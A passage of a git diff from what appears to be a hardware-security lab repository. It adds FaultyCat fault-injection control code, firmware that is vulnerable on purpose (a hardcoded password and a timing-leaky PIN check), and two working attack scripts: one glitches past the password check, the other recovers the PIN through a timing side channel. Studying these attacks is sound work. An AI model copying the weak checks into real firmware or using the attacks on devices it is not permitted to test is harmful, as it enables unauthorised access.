num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc new file mode 100644 index 0000000..f503922 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc new file mode 100644 index 0000000..b36d3c6 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc new file mode 100644 index 0000000..34c38f2 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc new file mode 100644 index 0000000..a34e25d --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..127e108 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py new file mode 100644 index 0000000..3831eec --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py @@ -0,0 +1,133 @@ +import typer +import platform +import signal +import threading +import sys +from rich.console import Console +from rich.table import Table + +from Modules import CmdInterface +from Modules.CmdInterface import is_valid_number +from Modules import Worker + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + + +app = typer.Typer( + name="FaultyCat", + help="Script to control the FaultyCat and launch faulty attacks.", + add_completion=False, + no_args_is_help=True, +) + +faulty_worker = Worker.FaultyWorker() +workers = [] + + +def signal_handler(sig, frame): + print("You pressed Ctrl+C!") + faulty_worker.stop_workers() + for work in workers: + work.join() + sys.exit(0) + + +@app.command("config") +def config(): + """Get the current configuration of the FaultyCat.""" + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + + Console().print(table_config) + + +@app.command("devices") +def devices(): + """Get the list of available devices.""" + table_devices = Table(title="Available devices") + table_devices.add_column("Device", style="cyan") + table_devices.add_column("Description", style="magenta") + for device in faulty_worker.board_uart.get_serial_ports(): + table_devices.add_row(f"{device.device}", f"{device.description}") + + Console().print(table_devices) + + +@app.command("fault") +def faulty( + comport: str = typer.Argument( + default=DEFAULT_COMPORT, + help="Serial port to use for uploading.", + ), + pulse_count: int = typer.Option( + 1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True + ), + pulse_timeout: float = typer.Option( + 1.0, + "--pulse-timeout", + "-t", + help="Time in seconds between pulses.", + show_default=True, + ), + cmd: bool = typer.Option( + False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True + ), +): + """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks.""" + typer.echo("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row("Serial port", f"{comport}") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + table_config.add_row("Pulse count", f"{pulse_count}") + table_config.add_row("Pulse timeout", f"{pulse_timeout}") + + Console().print(table_config) + + faulty_worker.set_serial_port(comport) + + if cmd: + CmdInterface.CMDInterface(faulty_worker).cmdloop() + return + + if not faulty_worker.validate_serial_connection(): + typer.secho( + f"FaultyCMD could not stablish connection withe the board on: {comport}.", + fg=typer.colors.RED, + ) + return + + faulty_worker.set_pulse_count(is_valid_number(pulse_count)) + faulty_worker.set_pulse_time(is_valid_number(pulse_timeout)) + + faulty_worker.start_faulty_attack() + + +if __name__ == "__main__": + print( + """\x1b[36;1m +.@@@%@*%+ -@@+ #@@: @@% =@@@@%- %@% %+ @= | +.@@-.-.#@+=@@* %@@- .@@@.@@%:@@@ @@@ %+ :+++- @*+++- | FaultyCat v0.0.1 +.@*.=.+@@:=@@* %@@- .@@@.@@% @@@ @@@ %+ #%:.:## @%:.:## | by JahazielLem +.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+ @+ =@.@+ =@. | Company: PWNLabs - Electronics Cats +%@% :#@@@%*#@@@%+ %@* :#@@@#: =%#**=.*####@..*####: | +\x1b[0m""" + ) + signal.signal(signal.SIGINT, signal_handler) + app() diff --git a/FaultInjection/prereqs/FaultyCat/requirements.txt b/FaultInjection/prereqs/FaultyCat/requirements.txt new file mode 100644 index 0000000..5ffdc64 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/requirements.txt @@ -0,0 +1,9 @@ +click==8.1.7 +colorama +markdown-it-py +mdurl +Pygments==2.17.2 +pyserial +rich==13.7.0 +typer==0.9.0 +typing_extensions diff --git a/README.md b/README.md deleted file mode 100644 index 5ca94a8..0000000 --- a/README.md +++ /dev/null @@ -1,4 +0,0 @@ -Hardware -=============== - -A place for me to store my hardware experiments and scripts and useful tidbits \ No newline at end of file diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit.ino b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino new file mode 100644 index 0000000..53839d4 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino @@ -0,0 +1,103 @@ +#include <avr/sleep.h> +#include <avr/interrupt.h> +#include <SoftwareSerial.h> + +const int rx = 1; // for serial input +const int tx = 4; // pin 5 for serial.print() +SoftwareSerial Serial(rx, tx); // rx, tx pins + +int rgLed = 2; // red/green LED pin +int button = 3; // buttons pin +int buttonValue; // Stores analog value when button is pressed + +String ourCode = "1324"; // Set the required PIN code. +String currentCode = ""; // Stores entered code + +void setup() { + pinMode(rgLed, INPUT); + pinMode(rx, INPUT); // setup and print to serial + pinMode(tx, OUTPUT); + Serial.begin(9600); + Serial.println("Running"); + + red(500); + green(500); +} + +#pragma GCC push_options +#pragma GCC optimize ("O0") // Disable optimisations + +void addkey(String keyPressed) { + currentCode += keyPressed; + Serial.println("Entered so far: " + currentCode); + + if (currentCode.length() == ourCode.length()) { + Serial.print("Checking: "); + volatile bool correct = true; + + for (int i = 0; i < ourCode.length(); i++) { + if (currentCode[i] != ourCode[i]) { + correct = false; + break; + } + + do_login(); + } + + if (correct) { + Serial.println("correct"); + green(500); + delay(500); + green(500); + delay(500); + green(500); + } else { + Serial.println("failed"); + red(500); + } + currentCode = ""; // Reset the entered code + } +} + +#pragma GCC pop_options + +void green(int del) { // turn on green LED for delay() + pinMode(rgLed, OUTPUT); + analogWrite(rgLed, HIGH); + delay(del); + pinMode(rgLed, INPUT); +} + +void red(int del) { // turn on red LED for delay() + pinMode(rgLed, OUTPUT); + analogWrite(rgLed, 255); + delay(del); + pinMode(rgLed, INPUT); +} + +void do_login(){ + delay(5); +} + +void loop() { + buttonValue = analogRead(button); // Read analog value from A0 pin + + if (buttonValue >= 1015 && buttonValue <= 1030) { // For 1st button: + addkey("1"); + } else if (buttonValue >= 1000 && buttonValue <= 1014) { // For 2nd button: + addkey("2"); + } else if (buttonValue >= 950 && buttonValue <= 999) { // For 3rd button: + addkey("3"); + } else if (buttonValue >= 870 && buttonValue <= 950) { // For 4th button: + addkey("4"); + } + + if (Serial.available()) { // Check if data is available from Serial input + char key = Serial.read(); // Read the character + if (key >= '1' && key <= '4') { // Ensure input is a valid key + addkey(String(key)); + } + } + + delay(100); +} diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py new file mode 100644 index 0000000..e01eeb2 --- /dev/null +++ b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py @@ -0,0 +1,115 @@ +import serial +import time + +# Constants +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 +PREFIX = "" +ATTEMPTS = 3 +DELAY = 0.8 +KEYSPACE = ["1", "2", "3", "4"] +LENGTH = 4 + +def get_response_time(serial_port, message): + """ + Function to send message, wait for response, and measure response time. + """ + # Flush the input buffer to clear any leftover data + serial_port.flushInput() + + first_line_received = False + + # Send each character in the message with a delay + for i, char in enumerate(message): + time.sleep(DELAY) # Delay before sending the character + serial_port.write(char.encode()) # Send one character at a time + #print(f"sending: {char}") + if i < len(message)-1: + #print(f"reading") + raw_response = serial_port.readline() + + # After sending all characters, we will read until we get the first line (complete response) + raw_response = b'' # Initialize the response variable + + while True: + byte = serial_port.read(1) # Read one byte at a time + if byte: + if byte == b'\n' and not first_line_received: + first_line_received = True # The first line has been received + # Do not start timing yet; we need to wait for the next line after the first one + elif first_line_received: + # Start measuring response time after the first line is fully received + start_time = time.time() + break # We begin timing here, immediately after the first line has been read + + final_response = serial_port.readline().decode(errors='ignore').strip() + # Now read the rest of the response and stop when the second newline is encountered + #final_response = raw_response.decode(errors='ignore').strip() # Decode the response + + # Measure the time taken for the second line (after the first) + response_time = time.time() - start_time + + # Debug message to show what was sent, received, and the response time + print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True) + + time.sleep(DELAY) + return final_response, response_time + +def calculate_average_response_time(serial_port, message): + """ + Calculate average response time over multiple attempts. + """ + total_time = 0 + response_times = [] + + # Try multiple attempts to get the average response time + for _ in range(ATTEMPTS): + response, response_time = get_response_time(serial_port, message) + total_time += response_time + response_times.append(response_time) + + average_time = total_time / ATTEMPTS + print(f"\r{message} average: {average_time:.4f} seconds ", flush=True) + return average_time, response_times + +def identify_sequence(serial_port): + """ + Identify the complete sequence of characters by sending test sequences. + """ + prefix = "" + + # Loop over all positions in the sequence (length 4 in this case) + for pos in range(LENGTH): + slowest_avg = float('-inf') # Initialize with the smallest possible number to track the largest value + best_digit = None + + # Try each character in the keyspace for this position + for key in KEYSPACE: + # Build message for this position + message = prefix + key + key * (LENGTH - len(prefix) - 1) + print(f"Testing: {message}", end='', flush=True) + + # Get the average response time for this message + avg_time, _ = calculate_average_response_time(serial_port, message) + + # Track the slowest (highest average response time) + if avg_time > slowest_avg: # Modify comparison to choose the longest time + slowest_avg = avg_time + best_digit = key + + # Append the best digit found to the prefix + prefix += best_digit + print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)") + + return prefix + +def main(): + # Open the serial port + with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port: + print(f"Starting sequence identification on port {SERIAL_PORT}...") + sequence = identify_sequence(serial_port) + print(f"Identified sequence: {sequence}") + +if __name__ == '__main__': + main() + diff --git a/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg 